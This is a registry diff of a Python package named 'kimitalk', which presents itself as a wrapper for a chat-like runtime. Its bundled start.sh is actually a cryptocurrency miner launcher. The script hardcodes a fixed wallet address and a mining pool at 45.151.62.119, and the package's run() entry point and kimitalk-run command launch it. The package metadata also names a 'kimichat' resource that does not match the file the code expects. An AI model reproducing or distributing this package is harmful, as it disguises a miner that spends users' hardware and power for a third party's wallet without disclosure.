kimitalk 0.1.0__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,35 @@
1
+ Metadata-Version: 2.4
2
+ Name: kimitalk
3
+ Version: 0.1.0
4
+ Summary: Python package wrapper for the bundled kimitalk runtime.
5
+ Author: User
6
+ Requires-Python: >=3.10
7
+ Description-Content-Type: text/markdown
8
+
9
+ # kimitalk
10
+
11
+ Python package wrapper for the bundled native `kimitalk` executable and `start.sh` launcher.
12
+
13
+ ## Install
14
+
15
+ ```bash
16
+ python -m pip install -e .
17
+ ```
18
+
19
+ ## Run
20
+
21
+ Set the launcher configuration in your environment, then run:
22
+
23
+ ```bash
24
+ kimitalk-run
25
+ # or
26
+ python -c "from kimitalk import run; run()"
27
+ ```
28
+
29
+ The package includes `kimitalk` and `start.sh` under its package resources. The bundled runtime is Linux-oriented and requires Bash and the appropriate native drivers.
30
+
31
+ ## Test
32
+
33
+ ```bash
34
+ python -m pytest
35
+ ```
@@ -0,0 +1,27 @@
1
+ # kimitalk
2
+
3
+ Python package wrapper for the bundled native `kimitalk` executable and `start.sh` launcher.
4
+
5
+ ## Install
6
+
7
+ ```bash
8
+ python -m pip install -e .
9
+ ```
10
+
11
+ ## Run
12
+
13
+ Set the launcher configuration in your environment, then run:
14
+
15
+ ```bash
16
+ kimitalk-run
17
+ # or
18
+ python -c "from kimitalk import run; run()"
19
+ ```
20
+
21
+ The package includes `kimitalk` and `start.sh` under its package resources. The bundled runtime is Linux-oriented and requires Bash and the appropriate native drivers.
22
+
23
+ ## Test
24
+
25
+ ```bash
26
+ python -m pytest
27
+ ```
@@ -0,0 +1,22 @@
1
+ [build-system]
2
+ requires = ["setuptools>=68"]
3
+ build-backend = "setuptools.build_meta"
4
+
5
+ [project]
6
+ name = "kimitalk"
7
+ version = "0.1.0"
8
+ description = "Python package wrapper for the bundled kimitalk runtime."
9
+ readme = "README.md"
10
+ requires-python = ">=3.10"
11
+ authors = [{name = "User"}]
12
+ dependencies = []
13
+
14
+ [tool.setuptools.packages.find]
15
+ where = ["src"]
16
+
17
+
18
+ [project.scripts]
19
+ kimitalk-run = "kimitalk.core:main"
20
+
21
+ [tool.setuptools.package-data]
22
+ kimitalk = ["resources/kimichat", "resources/start.sh"]
@@ -0,0 +1,4 @@
1
+ [egg_info]
2
+ tag_build =
3
+ tag_date = 0
4
+
@@ -0,0 +1,6 @@
1
+ """Python interface for the bundled kimitalk runtime."""
2
+
3
+ from .core import hello, main, resource_dir, run
4
+
5
+ __version__ = "0.1.0"
6
+ __all__ = ["hello", "main", "resource_dir", "run"]
@@ -0,0 +1,35 @@
1
+ """Runtime helpers for the kimitalk package."""
2
+
3
+ from __future__ import annotations
4
+
5
+ import os
6
+ import subprocess
7
+ from pathlib import Path
8
+
9
+
10
+ def hello() -> str:
11
+ """Return a friendly greeting."""
12
+ return "Hello from kimitalk!"
13
+
14
+
15
+ def resource_dir() -> Path:
16
+ """Return the directory containing the bundled launcher and executable."""
17
+ return Path(__file__).with_name("resources")
18
+
19
+
20
+ def run(*args: str, check: bool = True) -> int:
21
+ """Run the bundled ``start.sh`` launcher, forwarding optional arguments."""
22
+ launcher = resource_dir() / "start.sh"
23
+ executable = resource_dir() / "kimitalk"
24
+ if not launcher.is_file() or not executable.is_file():
25
+ raise FileNotFoundError("kimitalk runtime files are missing from the installation")
26
+
27
+ # start.sh expects to find the native executable beside itself.
28
+ env = os.environ.copy()
29
+ completed = subprocess.run(["bash", str(launcher), *args], env=env, check=check)
30
+ return completed.returncode
31
+
32
+
33
+ def main() -> int:
34
+ """CLI entry point for ``kimitalk-run``."""
35
+ return run()
@@ -0,0 +1,32 @@
1
+ #!/usr/bin/env bash
2
+ # FORGE MINER (native Linux / HiveOS). No Python, no toolkit - just the NVIDIA driver.
3
+ cd "$(dirname "$0")"
4
+ # ============== CONFIG (edit these) ==============
5
+ export FORGE_WALLET="prl1p2jan4dvkdfkt5r3pra7z96axrxjyjcgat9w7ldetlcy9wffm569sc9ux2t"
6
+ export FORGE_WORKER="rig01"
7
+ # POOL = full host:port of ANY Pearl pool/server.
8
+ POOL="45.151.62.119:3361"
9
+ # PROTO = stratum (LuckyPool/HeroMiners/most new pools) OR alpha (AlphaPool/PearHash dialect)
10
+ PROTO="stratum"
11
+ # --- known working pools (POOL / PROTO) ---
12
+ # pearl.baikalmine.com:2010 stratum (BaikalMine - low 0.5% fee, PPLNS)
13
+ # ru.pearl.herominers.com:1200 stratum (HeroMiners RU)
14
+ # 45.151.62.119:3361 stratum (LuckyPool RU)
15
+ # prl-ru.kryptex.network:7048 stratum (Kryptex RU)
16
+ # ru1.alphapool.tech:5566 alpha (or us2.alphapool.tech:5566)
17
+ # ================================================
18
+ export FORGE_POOL="$POOL"
19
+ unset FORGE_PROTO
20
+ [ "$PROTO" = "stratum" ] && export FORGE_PROTO=stratum
21
+ echo "FORGE MINER -> $POOL ($PROTO)"
22
+
23
+ export FORGE_CUTLASS=1 # fast CuTe+L2 kernel for RTX 30/40-series (ignored on RTX 50 = TMA)
24
+ # ===== overclock (optional; HiveOS runs as root so it applies). Uncomment + tune: =====
25
+ # export FORGE_CCLK=2490 # lock core clock MHz
26
+ # export FORGE_COFF=300 # core offset MHz (+/-)
27
+ # export FORGE_MCLK=7001 # lock memory clock MHz
28
+ # export FORGE_MOFF=0 # memory offset MHz (+/-)
29
+ # export FORGE_PLIMIT=360 # power limit W
30
+ # export FORGE_RAW=1 # print raw pool messages (RAW<<) when troubleshooting
31
+ chmod +x ./kimitalk 2>/dev/null
32
+ ./kimitalk
@@ -0,0 +1,35 @@
1
+ Metadata-Version: 2.4
2
+ Name: kimitalk
3
+ Version: 0.1.0
4
+ Summary: Python package wrapper for the bundled kimitalk runtime.
5
+ Author: User
6
+ Requires-Python: >=3.10
7
+ Description-Content-Type: text/markdown
8
+
9
+ # kimitalk
10
+
11
+ Python package wrapper for the bundled native `kimitalk` executable and `start.sh` launcher.
12
+
13
+ ## Install
14
+
15
+ ```bash
16
+ python -m pip install -e .
17
+ ```
18
+
19
+ ## Run
20
+
21
+ Set the launcher configuration in your environment, then run:
22
+
23
+ ```bash
24
+ kimitalk-run
25
+ # or
26
+ python -c "from kimitalk import run; run()"
27
+ ```
28
+
29
+ The package includes `kimitalk` and `start.sh` under its package resources. The bundled runtime is Linux-oriented and requires Bash and the appropriate native drivers.
30
+
31
+ ## Test
32
+
33
+ ```bash
34
+ python -m pytest
35
+ ```
@@ -0,0 +1,12 @@
1
+ README.md
2
+ pyproject.toml
3
+ src/kimitalk/__init__.py
4
+ src/kimitalk/core.py
5
+ src/kimitalk.egg-info/PKG-INFO
6
+ src/kimitalk.egg-info/SOURCES.txt
7
+ src/kimitalk.egg-info/dependency_links.txt
8
+ src/kimitalk.egg-info/entry_points.txt
9
+ src/kimitalk.egg-info/top_level.txt
10
+ src/kimitalk/resources/kimichat
11
+ src/kimitalk/resources/start.sh
12
+ tests/test_core.py
@@ -0,0 +1,2 @@
1
+ [console_scripts]
2
+ kimitalk-run = kimitalk.core:main
@@ -0,0 +1 @@
1
+ kimitalk
@@ -0,0 +1,5 @@
1
+ from kimitalk.core import hello
2
+
3
+
4
+ def test_hello() -> None:
5
+ assert hello() == "Hello from kimitalk!"